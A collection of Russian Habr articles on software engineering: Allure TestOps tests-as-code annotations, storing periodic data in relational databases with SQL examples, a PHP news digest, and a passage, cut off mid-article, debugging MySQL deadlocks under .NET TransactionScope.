@Target({ElementType.METHOD, ElementType.TYPE})
@LabelAnnotation(name = "layer")
public @interface Layer {
String value();
}
```
Для удобства отображения ссылок на задачи в Jira добавлены были аннотации @JiraIssues и @JiraIssue, а также маппинг в Issue Schemas.
```
@Documented
@Inherited
@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.METHOD, ElementType.TYPE})
public @interface JiraIssues {
JiraIssue [] value();
}
```
```
@Documented
@Inherited
@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.METHOD, ElementType.TYPE})
@LabelAnnotation(name = "jira")
@Repeatable(JiraIssues.class)
public @interface JiraIssue {
String value();
}
```
В итоге пример ручного теста получился таким:
```
@Test()
@AllureId("87996")
@Section("Тесты примеры")
@Section1("API тесты")
@JiraIssues({@JiraIssue("TEST-2")})
@Links({@Link("TEST-2")})_____________________________________________________________
@Tags({@Tag("example")})
@Layer("api")
@DisplayName("Пример API теста")
public void apiTestExample() {
step("Отправить запрос GET /v1/addresses/store=999&lmCode=10966327", () -> {
});
step("Проверить:", () -> {
step("Получили httpcode=200", () -> {});
step("В ответе вернулся json:", () -> {
file.attachFile("Ответ", "examples/example_response.json", "json");
});
});
}
```
После выгрузки результатов в сам Allure TestOps получаем внутри прогона подобный вид теста:
Рабочий цикл тестировщика выглядит теперь следующим образом:
На этапе Create test можно как написать ручной тест-кейс, так и сразу подготовить автотест. Все зависит от конкретной задачи и связанной с ней необходимости.
Сложности, с которыми мы столкнулись
------------------------------------
**1. Не все поля подлежат маппингу**
Как оказалось, аллюр позволяет использовать поля Precondition и Expected result, но данные поля невозможно выгрузить из кода. Принимаем это как ограничение при построении тестов.
В коде просто добавляем шаги с описанием предусловий.
```
step("Предусловия", () -> {
step("Открыть приложение", () -> {});
});
```
**2. Ручные тесты под видом автоматизированных**
Оказалось, что все выгружаемые тесты (ручные и авто) воспринимаются Allure TestOps как автоматизированные. Из коробки готового примера или аннотации для формализации этого вопроса нет. Поэтому мы написали свою кастомную аннотацию.
```
@Documented
@Inherited
@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.METHOD, ElementType.TYPE})
@LabelAnnotation(name = "ALLURE_MANUAL")
public @interface Manual {
boolean value();
}
```
В итоге происходит тестовый прогон с необходимой группой тестов, в которой сразу получаем результаты: автотестов, устаревших (отключенных) автотестов и ручных тестов, требующих прохождения.
Пока прогон не завершен, такие тесты отображаются со статусом «In progress» (синий цвет). После завершения прогона непройденные тесты получат статус «Unknown» и станут фиолетовыми.
Таким образом помечаем аннотацией `@Manual(true)` соответствующий тестовый класс или тестовый метод, после чего получаем реальную картинку по количеству автотестов и ручных тестов в проекте.
**3. Вложения**
Так и не получилось до конца побороть проблему вложений для тестов. Все вложения видны в результатах выполнения, но не отображаются в самом тесте. Это, конечно, не критично. Команда просто привыкла, что необходимо проваливаться в последний запуск теста и уже там смотреть, какой запрос нужно выполнить.
При этом если перейти в результаты теста (синий линк), то вложения будут видны, и в данном случае это картинка.
**4. Версионность тестов**
Когда мы привыкли к тому, что тесты могут быть автоматизированы и превращены в код, возникла потребность сохранять различные версии тестов и иногда откатываться к старым или использовать наработки прошлого для подготовки новых тестов. В самой TMS Allure такой функции не предусмотрено. Но этот вопрос легко решается, если хранить версии тест-кейсов в гите. При желании и необходимости можно поддерживать их версионность с помощью веток.
Итоги
-----
Внедрение подхода «тесты как код» сделало нашу работу быстрее, а также помогло навести порядок в достаточно объемной практике тестирования сразу для нескольких десятков команд.
В дополнение теперь при запуске автотестов какой-то группы (smoke, api и т. д.) мы получаем тестовый прогон, включающий все тесты: автоматизированные, устаревшие и ручные. Казалось бы, зачем это в прогоне? Устаревшие тесты маячат перед глазами и сподвигают на их скорейшую актуализацию, ручные сообщают нам о том, что необходимо пройти ручками какую-то часть функционала и отследить динамику автоматизации от прогона к прогону.
Кроме этого я бы хотел отметить еще пару полезных преимуществ нового подхода:
* Если вам когда-либо приходилось массово рефакторить пример JSON’а для API-теста, ссылки на макеты или что-то иное, то теперь подобный рефакторинг сводится к простой массовой замене параметров в нужных файлах. И это делается намного быстрее подобных ручных изменений в TMS.
* При разработке тестов мы получаем готовые шаблоны, которые затем можно автоматизировать, причем для этого не придется постоянно заходить в сам аллюр — всё перед глазами в IDE.
* Абсолютно все, кто попробовал данный подход, оценили его удобство, снижение трудозатрат на написание и поддержку тест-кейсов. Это стало дополнительным подтверждением, что всё это действительно стоило провернуть.
P.S. А еще мы получили неожиданный эффект: ручные тестировщики начали активно погружаться в автоматизацию. Стоило им познакомиться с IDE, как пропали страхи перед кодингом. | https://habr.com/ru/post/709902/ | null | ru | null |
# Ведение периодических сведений в информационных системах
Все разработчики информационных систем сталкиваются с периодической информацией, т.е. данными изменяющимися во времени. Например:
— Цены на товары
— Курсы валют
— Должности
и т.п. Также, одна периодическая информация меняется часто, другая — редко. К редко меняющейся информации можно отнести, например:
— Фамилия и имя
— Адрес проживания
— Статус семьи
Так вот, в большинстве случаев, нет необходимости хранить историю изменения этой редко меняющейся информации, т.к. никто и никогда не будет строить отчет задним числом, чтобы в нем отображалась эта информация, действующая на дату отчета.
В таких случаях достаточно хранить просто факт изменения информации, предыдущее значение и дату изменения — это понадобиться в самых редких случаях.
Дальше пойдет разговор о способе хранения периодической информации в реляционной базе данных для случаев, когда такие отчеты заведомо нужны в системе и они требуют получения актуальных данных на определенную дату.
Для примера возьмем информацию о человеке.
`Объект "Персона". Реквизиты:
- Фамилия
- Имя
- Отчество
- Дата рождения
- Пол
- Статус семьи
- Адрес проживания`
Изменяемыми во времени реквизитами здесь теоретически могут быть: Фамилия, Имя, Статус семьи, Адрес проживания и, чего греха таить, Пол.
Создадим объект хранения истории изменения этих данных. Сразу договоримся, что будем хранить целиком запись со всем набором изменяющихся реквизитов — так удобнее для работы. Пусть потеряем в объеме данных, но выиграем в обработке.
Выносим изменяемые реквизиты из объекта «Персона» и создаем объект для хранения периодической информации.
`Объект "Персона". Реквизиты:
- Отчество
- Дата рождения
Объект "Сведения о персоне". Реквизиты:
- Персона
- Дата изменения сведений
- Фамилия
- Имя
- Пол
- Статус семьи
- Адрес проживания`
(по факту, можно перенести все реквизиты из Персоны в Сведения, здесь цель показать что этого делать не обязательно)
Объект сведений отличает наличие «Даты изменения сведений» и ссылки на ведущий объект Персона.
Во всех объектах системы должен использоваться объект «Персона» и ссылки на него, а сведения будут использоваться только как подчиненный объект без непосредственной ссылки на них.
Казалось бы всё?! Но это только кажется.
Сложности начинаются сразу же, при попытке вывести список Персон. Попробуем написать запрос осуществляющий это. Включаем фантазию и представляем объектный SQL по-русски:
`select сп.Фамилия, сп.Имя, п.Отчество
from Персона п, СведенияПерсоны сп
where п.ID = сп.Персона`
Но тут сразу проблема — нам покажется вся история сведений по персоне. А нам нужен список персон с актуальными сведениями на текущую дату. Адаптируемся к требованиям:
`select сп.Фамилия, сп.Имя, п.Отчество
from Персона п, СведенияПерсоны сп
where п.ID = сп.Персона
and сп.ID = (select top 1 свед.ID from СведенияПерсоны свед where п.ID = свед.Персона and свед.ДатаИзменения <= ТекущаяДата order by свед.ДатаИзменения desc)`
Результат теперь правильный, но запрос выполняется ужасно долго и на больших объемах может напрочь вырубить СУБД, т.к. выполняется куча подзапросов.
Альтернатива, как говориться, есть — утки! Как и ранее заявлялось — лучше иметь избыточность данных, но не потерять быстродействие при их обработке.
Дополним регистр одной датой.
`Регистр "Сведения о персоне". Реквизиты:
- Персона
- Дата изменения сведений
- Следующая дата изменения
- Фамилия
...`
Эта дата соответственно будет указывать на дату «соседней» записи сведений по персоне. Важно, чтобы в этом поле всегда было значение. Тогда, если следующая дата изменения неизвестна, то заполняем «максимальной» датой, например, 31.12.9999. В результате чего наш запрос можно переписать так:
`select сп.Фамилия, сп.Имя, п.Отчество
from Персона п, СведенияПерсоны сп
where п.ID = сп.Персона
and сп.СледующаяДата > ТекущаяДата
and сп.ДатаИзменения <= ТекущаяДата`
Тут уже всё шикарно быстро!
Заполнять Следующую дату можно например в триггере. Тут необходимо будет учесть возможность изменения «Даты изменения сведений» и «Персона», да и вообще удаления записи. Эти алгоритмы триггеров уже достаточно просты. Итого, при сохранении записи дополнительно может измениться максимально 2 «соседние» записи (одна текущая соседняя, другая новая соседняя). Это незначительная потеря при редких изменениях.
Посмотрим, как можно хранить еще один вариант периодических сведений, например, места работы всё той же Персоны в разрезе Организаций.
`Начнем с простого. Объект "Работник". Реквизиты:
- Персона
- Организация
- Должность
- Дата приема
- Дата увольнения`
Выборка всех работников компании на текущую дату:
`select сп.Фамилия, сп.Имя, п.Отчество, р.Организация, р.Должность
from Персона п, СведенияПерсоны сп, Работник р
where п.ID = сп.Персона
and сп.СледующаяДата > ТекущаяДата
and сп.ДатаИзменения <= ТекущаяДата
and п.ID = р.Персона
and р.ДатаПриема <= ТекущаяДата
and р.ДатаУвольнения > ТекущаяДата
and р.Организация = Компания`
Всё хорошо и замечательно. Кажется проблем нет… пока нас не спрашивают посчитать/вывести тех людей, кто поработал в компании с начала года?
Подумаем, кто из работников это может быть:
а) тот кто работал на начало года
б) тот кто работает на текущую дату
в) тот кто пришел после начала года и уволился до текущего момента
(для простоты уберем из запроса СведенияПерсоны, т.к. с ними уже все понятно, будем считать что они доступны из поля ФИО Персоны)
`select п.ФИО, р.Организация, р.Должность
from Персона п, Работник р
and п.ID = р.Персона
and р.Организация = Компания
and (
(р.ДатаПриема <= НачалоГода and р.ДатаУвольнения > НачалоГода) /* а */
or (р.ДатаПриема <= ТекущаяДата and р.ДатаУвольнения > ТекущаяДата) /* б */
or (р.ДатаПриема >= НачалоГода and р.ДатаУвольнения <= ТекущаяДата) /* в */
)`
В итоге, совсем не подозревая, мы получаем несколько записей по человеку, который менял должность в пределах этого периода или прерывал работу. Как избавиться от повторения человека? Применить distinct? Нам нужна его последняя должность! Можно попробовать подзапрос, но есть вариант лучше.
Тут также можно применить подход к хранению, аналогичный сведениям о персоне.
Еще стоит сказать о понятии «Ключевые реквизиты» — это набор реквизитов, в рамках значений которых не должны пересекаться интервалы (в данном случае с Даты приема по Дату увольнения) записей. Для Работника в этот набор включены реквизиты «Персона» и «Организация», т.е. человек не может в одно и тоже время иметь несколько записей в одной организации, зато может работать в разных организациях.
Так вот, реквизит «Следующая дата» также работает в рамках Ключевых реквизитов, т.е. при изменении должности эти даты устанавливается на соседнюю запись, а при изменении организации — остаются максимальной.
`Объект "Работник". Реквизиты:
- Персона
- Организация
- Должность
- Дата приема
- Дата увольнения
- Следующая дата приема`
Тот же запрос перепишем:
`select п.ФИО, р.Организация, р.Должность
from Персона п, Работник р
and п.ID = р.Персона
and р.Организация = Компания
and (
(р.ДатаПриема <= НачалоГода and р.ДатаУвольнения > НачалоГода and р.СледующаяДата > ТекущаяДата) /* а */
or (р.ДатаПриема <= ТекущаяДата and р.ДатаУвольнения > ТекущаяДата) /* б */
or (р.ДатаПриема >= НачалоГода and р.ДатаУвольнения <= ТекущаяДата and р.СледующаяДата > ТекущаяДата) /* в */
)`
Вот теперь данные верны и всё работает достаточно быстро.
Также, как со Следующей датой, можно добавить Предыдущая дата, которая будет указывать на предыдущую должности или «минимальную» дату, например 01.01.0001. Предыдущая дата будет использоваться для запросов типа «ближайшие появившиеся работники». Изменять даты можно также в триггере. Максимально дополнительно изменится еще 4 записи.
Благодаря такой конструкции можно достаточно просто получить ответы на вопросы:
— список тех, кто когда-либо (или в период) работал в компании
— список недавно уволившихся на дату
— список первых устроившихся с даты
— и т.д.
P.S. Надеюсь не утомил
UPD 28.03.2011
По замечанию MaximKat, обновил тексты запросов про Работника.
Также добавил примечание о ключевых реквизитах. | https://habr.com/ru/post/116140/ | null | ru | null |
# Дайджест интересных новостей и материалов из мира PHP № 47 (24 августа – 7 сентября 2014)
Предлагаем вашему вниманию очередную подборку со ссылками на новости и материалы.
Приятного чтения!
### Новости и релизы
* [PHP 5.6.0](http://php.net/archive/2014.php#id2014-08-28-1) — Долгожданный релиз новой версии интерпретатора. На борту множество новых возможностей: [скалярные выражения в константах](http://php.net/migration56.new-features#migration56.new-features.const-scalar-exprs), [функции с переменный числом аргументов](http://php.net/functions.arguments.php#functions.variable-arg-list), [оператор возведения в степень \*\*](http://ua2.php.net/migration56.new-features#migration56.new-features.exponentiation), [импорт функций и констант из пространств имен](http://php.net/migration56.new-features#migration56.new-features.use), [встроенный отладчик phpdbg](http://phpdbg.com/docs), перегрузка операторов для объектов GMP и для [других расширений](https://github.com/jpauli/money). По традиции есть [руководство по переходу к новой версии](http://ua2.php.net/manual/ru/migration56.php). [Скринкаст PHP 5.6 за 10 минут](https://laracasts.com/lessons/whats-new-in-php-5-6) .
Core-разработчик Стас Малышев [подвел итоги релиза 5.4](http://php100.wordpress.com/2014/08/30/php-5-4-looking-back/) и попытался [предсказать будущее 5.6](http://php100.wordpress.com/2014/08/30/php-5-6-looking-forward/).
*  [Релиз WordPress 4.0 Benny](http://habrahabr.ru/post/235777/) — Стала доступна четвертая версия самой популярной CMS. Релиз включает множество улучшений и несколько новых возможностей, хотя и ничего революционного.
*  [HHVM 3.3 — первый релиз с долгосрочной поддержкой (LTS)](http://habrahabr.ru/post/235471/)
* [Компания Engine Yard спонсирует Composer](https://blog.engineyard.com/2014/engine-yard-sponsoring-composer) — Анонсировано выделение гранта в размере $15k на год для поддержки Composer в лице одного из авторов — [Nils Adermann](https://github.com/naderman). Вспомнив заявление другого автора Composer Jordi Boggiano о разработке коммерческого Toran Proxy для поддержки Composer, есть основания полагать, что Composer ждет значительное развитие.
### PHP
* [RFC: Неявный isset() в тернарном операторе](https://wiki.php.net/rfc/isset_ternary) — Вместо `isset($_GET['mykey']) ? $_GET['mykey'] : ""` можно просто `$_GET['mykey'] ?: ""`.
* [RFC: Abstract syntax tree](https://wiki.php.net/rfc/abstract_syntax_tree#vote) — Предложение принято единогласно: 47 — за и ни одного против!
* [RFC: Closure::call](https://wiki.php.net/rfc/closure_apply) — Также принято предложение добавить метод `call` для анонимных функций с возможностью передачи объекта `this`.
### Инструменты
* [Optional](https://github.com/typedphp/php-optional) — Библиотека призванная сократить проверки на null в коде. Подробный [пост с описанием мотивации от автора](https://medium.com/connect-blog/optional-types-bc7edb1225de).
* [Checker](https://github.com/wapmorgan/Checker) — Набор для самотестирования работы класса и его отдельных методов.
* [CodeLobster PHP Edition](http://www.codelobster.com/) — Альтернативная IDE для PHP-разработки.
* [Broadway](https://github.com/qandidate-labs/broadway) — Инструмент для реализации принципов CQRS и Event Sourcing в PHP. [Пост в поддержку](http://labs.qandidate.com/blog/2014/08/26/broadway-our-cqrs-es-framework-open-sourced/).
* [Cuzzle](https://github.com/namshi/cuzzle) — Библиотека позволяет сохранять Guzzle-запросы в виде команд cURL для дальнейшей отладки или логирования.
* [Versionscan](https://github.com/psecio/versionscan) — Инструмент проверки текущей установки PHP на наличие известных уязвимостей.
* [Toggle](https://github.com/qandidate-labs/qandidate-toggle) — Библиотека позволяет организовать принцип отключаемых фич в PHP-приложении. [Пост в поддержку](http://labs.qandidate.com/blog/2014/08/18/a-new-feature-toggling-library-for-php/).
* [Amp](https://github.com/rdlowrey/Amp) — Асинхронная многопоточность на PHP.
* [php-wise](https://github.com/herrera-io/php-wise) — Библиотека конфигурации на основе Symfony Config.
* [PHP Reflect](https://github.com/llaville/php-reflect) — Библиотека позволяет исследовать классы, интерфейсы, функции и прочее. В отличие от стандартного Reflection API не требует непосредственно загрузки кода, так как он парсится с помощью PHP-лексера.
* [CLImate](https://github.com/joetannenbaum/climate) — Лучший помощник PHP в CLI. Цветной и форматированный вывод в командной строке.
* [UnifiedArchive](https://github.com/wapmorgan/UnifiedArchive) — Библиотека для унифицированного доступа к архивам различных форматов. Также в виде утилиты командной строки — [Archive](https://github.com/wapmorgan/archive).
* [FOSHttpCache](https://github.com/FriendsOfSymfony/FOSHttpCache/) — Инструмент позволяет интегрировать PHP-приложение с кэширующим прокси а-ля Varnish.
### Материалы для обучения
* ##### Symfony
+ [Ряд уязвимостей обнаружен в Symfony](http://symfony.com/blog/category/security-advisories)
+  [Обработка POST запросов AngularJs в Symfony2](http://habrahabr.ru/post/235081/)
+ [Прощай, Symfony](http://mmoreram.com/blog/2014/09/01/bye-bye-symfony/) — О том почему и как использовать Symfony-компоненты независимо от самого фреймворка.
+  [Что Symfony может сделать у меня в гараже — домашняя автоматизация средствами PHP](http://media.ccc.de/browse/conferences/froscon/2014/froscon2014_-_1441_-_en_-_hs6_php_-_201408241115_-_what_symfony_has_to_do_with_my_garage_-_home_automation_with_php_-_jan_unger.html) — Об использовании Symfony с RaspberryPi.
* ##### Laravel
+   [Видеокурс по Laravel](http://simple-training.com/category/laravel-todo/)
+ [REST приложение на Laravel и EmberJS](http://www.sitepoint.com/series/rest-app-with-laravel-and-emberjs/)
+ [Развертывание сайта на Laravel с помощью Git](http://www.sitepoint.com/deploy-website-using-laravel-git/)
* [Встречайте Recki-CT](http://blog.ircmaxell.com/2014/08/introducing-recki-ct.html) — Полтора года назад Энтони Феррара представил общественности свой [PHPPHP](https://github.com/ircmaxell/PHPPHP) — интерпретатор PHP написанный на PHP. Однако по ряду причин инструмент был просто игрушкой. На этот раз Энтони представил компилятор PHP — [Recki-CT](https://github.com/google/recki-ct). Этот инструмент поддерживает некоторое подмножество PHP: не поддерживаются ссылки, переменные переменных и глобальные переменные. Зато позволяет компилировать PHP в машинный код. В посте также приведены бенчмарки производительности Recki-CT в сравнении с традиционным PHP и альтернативными реализациями: HHVM, HippyVM, QB.
Также в тему [туториал по установке Recki-CT на Vagrant](http://www.sitepoint.com/quick-tip-install-recki-ct-vagrant-ubuntu-box/).
* [Новая книга: Функциональное программирование в PHP](http://www.functionalphp.com/)
* [Композиция функций](https://medium.com/connect-blog/function-composition-c8094ae9be63)
* [Haskell vs PHP](http://pqr7.wordpress.com/2014/09/03/haskell-vs-php/) — Сравнение и тесты кода на PHP в императивном и функциональном стиле против кода на Haskell.
* [Развертывание приложения на Zend Server](https://mwop.net/blog/2014-08-11-zend-server-deployment-part-1.html)
* [Объяснение PHP Streaming и Output Buffering](http://www.sitepoint.com/php-streaming-output-buffering-explained/) — О том, как с помощью PHP организовать отправку ответа браузеру частями.
* [Краткое руководство по компилированию PECL-расширений из иходников](http://www.lornajane.net/posts/2014/compiling-php-extensions)
* [PINQ-запросы к вашей БД](http://www.sitepoint.com/series/pinq-querify-your-datasets/) — Туториал по использованию PHP-реализации LINQ.
* [Интегрируем формы ZF2 в микрофреймворк Slim](http://akrabat.com/zend-framework-2/integrating-zf2-forms-into-slim/)
* [Естественная сортировка с помощью MongoDB](http://derickrethans.nl/mongodb-collation.html) — О том, как в PHP обойти ограничения MongoDB на сортировку юникод-строк.
* [Именование — это сложно](https://speakerdeck.com/dazz/nomen-est-omen-naming-things-considered-hard) — Слайды доклада о хороших практиках именования в PHP.
* [Практический тюнинг производительности](https://blog.engineyard.com/2014/profiling-with-xhprof-xhgui-part-3)
* [Свой Packagist с помощью Toran Proxy](http://www.sitepoint.com/personal-packagist-toran-proxy/)
* [Современный воркфлоу для WordPress с использованием Composer](http://tmoitie.co.uk/2014/08/a-modern-composer-workflow-with-wordpress/)
* [Разбираемся с PhpSpec](http://code.tutsplus.com/tutorials/understanding-phpspec--cms-21915) — Туториал по использованию [SpecBDD-фреймворка](http://www.phpspec.net/) для PHP. Вводная часть [тут](http://code.tutsplus.com/tutorials/getting-started-with-phpspec--cms-20919).
* [PhpFriendsOfDdd/state-of-the-union](https://github.com/PhpFriendsOfDdd/state-of-the-union) — Список ресурсов и инструментов по DDD в PHP.
* [Лучшие практики тестирования кода от Etsy](https://github.com/etsy/Testing101/blob/master/Testing_Best_Practices.md)
*  [Рекомендации по php для младшего php-разработчика](http://fightmaster.github.io/recommendations/for-junior-php-developer.html)
*  [Выкатка большой системы](http://ruhighload.com/post/Deployment+%D0%B1%D0%BE%D0%BB%D1%8C%D1%88%D0%BE%D0%B3%D0%BE+%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B0)
*  [Индексы в MySQL](http://ruhighload.com/post/%D0%A0%D0%B0%D0%B1%D0%BE%D1%82%D0%B0+%D1%81+%D0%B8%D0%BD%D0%B4%D0%B5%D0%BA%D1%81%D0%B0%D0%BC%D0%B8+%D0%B2+MySQL)
*  [Настройка Yii2 RBAC](http://habrahabr.ru/post/235485/)
*  [Тестируем новый тип бэкапа MySQL](http://habrahabr.ru/post/234791/)
*  [Интерактивная консоль с автодополнением на PHP](http://habrahabr.ru/post/234563/)
*  [Магический объект для хранения и передачи разнородных данных с проверкой типов и значений](http://habrahabr.ru/post/234433/)
*  [Web-gui для wget (light)](http://habrahabr.ru/post/234353/)
*  [Error based MySQL injection или не надо ругаться](http://habrahabr.ru/post/235287/)
*  [Заметка про проверку PHP](http://habrahabr.ru/company/pvs-studio/blog/235189/)
### Аудио и видеоматериалы
*  [Laracon EU 2014](https://www.youtube.com/playlist?list=PLMdXHJK-lGoCYhxlU3OJ5bOGhcKtDMkcN) — Видеозаписи докладов с прошедшей в Амстердаме конференции.
### Занимательное
* [Если бы языки программирования были оружием](http://bjorn.tipling.com/if-programming-languages-were-weapons)
* [Почему некоторые старые языки программирования не умирают?](http://readwrite.com/2014/09/01/programming-language-coding-lifetime)
[Быстрый поиск по всем дайджестам](http://pronskiy.github.io/php-digest/)
← [Предыдущий выпуск](http://habrahabr.ru/company/zfort/blog/234411/) | https://habr.com/ru/post/235963/ | null | ru | null |
# Любопытный случай взаимной блокировки транзакций в базе данных при использовании TransactionScope
Привет, Хабр! Тем временем у нас [распродажа в честь черной пятницы](https://habr.com/ru/company/piter/news/t/590621/). Там найдется много интересных книг по базам данных, и именно о взаимных блокировках при транзакциях в базах данных - сегодняшний пост.
Пару лет назад мы с командой построили событийно-ориентированную систему, работавшую с транзакциями и время от времени застывавшую в загадочных взаимных блокировках. Как-то раз я решил заглянуть в нее поглубже и посмотреть, что же на самом деле там происходит. Этот небольшой пост можно считать отчетом, документирующим мои изыскания.
У сервиса одновременно работает 3 инстанса: по одному на хост EC2 в AWS. Сервис написан на C#/.NET Core 3.1 с использованием `BackgroundService`. Информация хранится в базе данных Aurora MySql. Сервис подхватывает события предметной области из множества очередей, обрабатывает их, меняя состояние локальных сущностей предметной области, после чего отправляя их обратно на долговременное хранение в базу данных MySql. Все это осуществляется конкурентно, иногда – прямо в транзакционных блоках базы данных, которые выглядят примерно так:
```
static async Task Main(string[] args)
{
using (var scope = new TransactionScope(TransactionScopeAsyncFlowOption.Enabled))
{
await Save(product);
// мы можем обновить и больше сущностей
scope.Complete();
}
}
public static async Task Save(Product product)
{
using (var connection = new MySqlConnection(“...”))
{
await connection.OpenAsync();
// выбрать count(1) из Products где Id = @id
if (await Exists(product, connection))
// обновить Products set ... где Id = @id
await Update(product, connection);
else
// вставить в Products values(...)
await Insert(product, connection);
}
}
```
Мы используем [TransactionScope](https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-3.0/ms172152(v=vs.85))`,` так как операции в предметной области охватывают множество сущностей предметной области, и соответствующая логика доступа к данным для этих сущностей реализуется в отдельных классах. Единственный способ сложить их в единую транзакцию на уровне предметной области – использовать единицу выполнения работы, например, `TransactionScope`.
Однако, запуская этот код в продакшене, мы регулярно утыкались во взаимные блокировки:
Поэтому я решил вычленить путь выполнения транзакционного кода и запустить его в цикле `Parallel.For`, нацелившись на локальную базу данных MySql – и посмотреть, смогу ли я воспроизвести эти взаимные блокировки:
```
Parallel.For(0, 500,
async index =>
{
var product = new Product
{
Id = id,
Stock = index+1
};
using (var scope = new TransactionScope(
TransactionScopeAsyncFlowOption.Enabled))
{
await Save(product);
scope.Complete();
}
});
```
Прошло не так много итераций, и ошибка воспроизвелась:
> MySql.Data.MySqlClient.MySqlException (0x80004005): Взаимная блокировка обнаружена при попытке приобрести блокировку; попытка перезапуска транзакции …
>
>
Хммм!
Обратите внимание: взаимная блокировка сама по себе – еще не конец света, так как можно повторно выполнить заблокированную транзакцию, ведь она откатывается обратно в MySql. Это превращается в проблему, если такие блокировки происходят с некоторой регулярностью и начинают тормозить прогресс в выполнении задач и/или приводить к потере данных тем или иным образом. В нашем случае потеря данных не представляла особой проблемы, но сами по себе многократные блокировки вызывали беспокойство. В будущем эта беда вполне могла усугубиться в случае, если бы увеличился объем потока сообщений. Поэтому я решил исследовать эту проблему и по возможности ее устранить.
Сначала я заподозрил, что транзакция попросту протекает слишком долго из-за того, что мы применяем к ней операцию SELECT, а затем либо INSERT, либо UPDATE, именно поэтому возникает слишком продолжительный конфликт при блокировках. Но как рассмотреть, что *в действительности* здесь происходит?
Отладка блокировок в MySql
--------------------------
Есть как минимум два простейших способа посмотреть, что происходит с блокировками в MySql:
a. Просмотреть самые свежие блокировки, направив к базе данных запрос `show engine innodb status`. Получим вот такой вывод:
```
a. =====================================
b. 2021-07-23 21:27:55 0x7f0fec4a3700 INNODB MONITOR OUTPUT
c. =====================================
d. ...
e. ------------------------
f. LATEST DETECTED DEADLOCK
g. ------------------------
h. 2021-07-23 21:26:29 0x7f0fd3558700
i. *** (1) TRANSACTION:
j. TRANSACTION 2631, ACTIVE 0 sec starting index read
k. mysql tables in use 1, locked 1
l. LOCK WAIT 4 lock struct(s), heap size 1136, 2 row lock(s)
m. MySQL thread id 15, OS thread handle 139706363459328, query id 3531 172.20.0.1 root updating
n. update TrxDb.Products set stock = 495 where Id = 1000 and Version = 1
o.
p. *** (1) HOLDS THE LOCK(S):
q. RECORD LOCKS space id 2 page no 4 n bits 72 index PRIMARY of table `TrxDb`.`Products` trx id 2631 lock mode S locks rec but not gap
r. Record lock, heap no 2 PHYSICAL RECORD: n_fields 5; compact format; info bits 0
s. ...
t.
u.
v. *** (1) WAITING FOR THIS LOCK TO BE GRANTED:
w. RECORD LOCKS space id 2 page no 4 n bits 72 index PRIMARY of table `TrxDb`.`Products` trx id 2631 lock_mode X locks rec but not gap waiting
x. Record lock, heap no 2 PHYSICAL RECORD: n_fields 5; compact format; info bits 0
y. ...
z.
aa.
bb. *** (2) TRANSACTION:
cc. TRANSACTION 2632, ACTIVE 0 sec starting index read
dd. mysql tables in use 1, locked 1
ee. LOCK WAIT 4 lock struct(s), heap size 1136, 2 row lock(s)
ff. MySQL thread id 9, OS thread handle 139706363754240, query id 3533 172.20.0.1 root updating
gg. update TrxDb.Products set stock = 357 where Id = 1000 and Version = 1
hh.
ii. *** (2) HOLDS THE LOCK(S):
jj. RECORD LOCKS space id 2 page no 4 n bits 72 index PRIMARY of table `TrxDb`.`Products` trx id 2632 lock mode S locks rec but not gap
kk. Record lock, heap no 2 PHYSICAL RECORD: n_fields 5; compact format; info bits 0
ll. ...
mm.
nn. *** (2) WAITING FOR THIS LOCK TO BE GRANTED:
oo. RECORD LOCKS space id 2 page no 4 n bits 72 index PRIMARY of table `TrxDb`.`Products` trx id 2632 lock_mode X locks rec but not gap waiting
pp. Record lock, heap no 2 PHYSICAL RECORD: n_fields 5; compact format; info bits 0
qq. ...
rr.
ss. *** WE ROLL BACK TRANSACTION (2)
tt. ...
uu. ----------------------------
vv. END OF INNODB MONITOR OUTPUT
ww. ============================
```
Так выводится список самых свежих блокировках, показывается, какие блокировки удерживались при транзакции, и какие блокировки находились в состоянии ожидания на момент взаимной блокировки.
b. Вывести все взаимные блокировки в логи MySql, включив (*т.e. установив в “ON”, по умолчанию “OFF”*) настройку [innodb\_print\_all\_deadlocks](https://dev.mysql.com/doc/refman/8.0/en/innodb-parameters.html#sysvar_innodb_print_all_deadlocks) в системной переменной. Вывод обычно будет один и тот же, но в этом логе будут учтены все взаимные блокировки. В [документации](https://dev.mysql.com/doc/refman/8.0/en/innodb-deadlocks-handling.html) по MySql рекомендуется включать эту настройку только на время отладки, а затем отключать, как только проблема будет решена – вероятно, потому, что логирование взаимных блокировок может негативно повлиять на нормальную производительность транзакций. Правда, я оставил эту настройку включенной в нашей базе данных, даже когда она пошла в продакшен – и не заметил никакого существенного влияния на обработку транзакций.
Так или иначе, в данном случае я вижу, что обе транзакции 1 и 2 держат S (разделяемую) блокировку и ждут X (монопольную) блокировку, чтобы обновить строку. Таким образом, каждая из транзакций ждет блокировку, чтобы внести запись, но в то же время держит и другую блокировку. Эта другая блокировка должна быть высвобождена хотя бы одной из транзакций, прежде, чем они смогут получить монопольные блокировки. Вот вам и ВЗАИМНАЯ БЛОКИРОВКА!!!
Принцип работы этих блокировок очень хорошо [документирован в MySql,](https://dev.mysql.com/doc/refman/8.0/en/innodb-locking.html) поэтому, если хотите разобраться подробнее – почитайте там. Это очень глубокая тема, и сложно постоянно держать в голове все пограничные случаи.
Но давайте разберемся, почему S вообще блокируется? Я заинтересовался, не приводит ли к этому ненароком простая операция SELECT, поэтому также направил к SQL транзакцию с единственной SELECT, не фиксируя транзакцию и не откатывая ее назад, чтобы можно было применить диагностические запросы к транзакции, по-прежнему находящейся в состоянии RUNNING:
```
set autocommit = off;
start transaction;
select * from TrxDb.Products where Id = 1000;
```
Чтобы посмотреть, блокировки какого рода берутся, я выполнил следующий диагностический запрос:
```
select * from performance_schema.data_locks;
```
Хмм! Никаких блокировок! Что, если оно блокируется, если одновременно выполняется операция UPDATE в той же транзакции?
```
set autocommit = off;
Start transaction;
select count(1) from TrxDb.Products where Id = 1000;
update TrxDb.Products set Stock = 8 where Id = 1000 and Version = 1;
```
Результат диагностического запроса:
Oк! Операция UPDATE берет только блокировку X (как и должно быть), а блокировки S по-прежнему не происходит! Блокировку IX игнорируем, так как это плановая блокировка, которая, по-видимому, всегда предоставляется всем транзакциям, которые ее запрашивают. Кажется, она не сказывается ни на каких других блокировках или транзакциях!
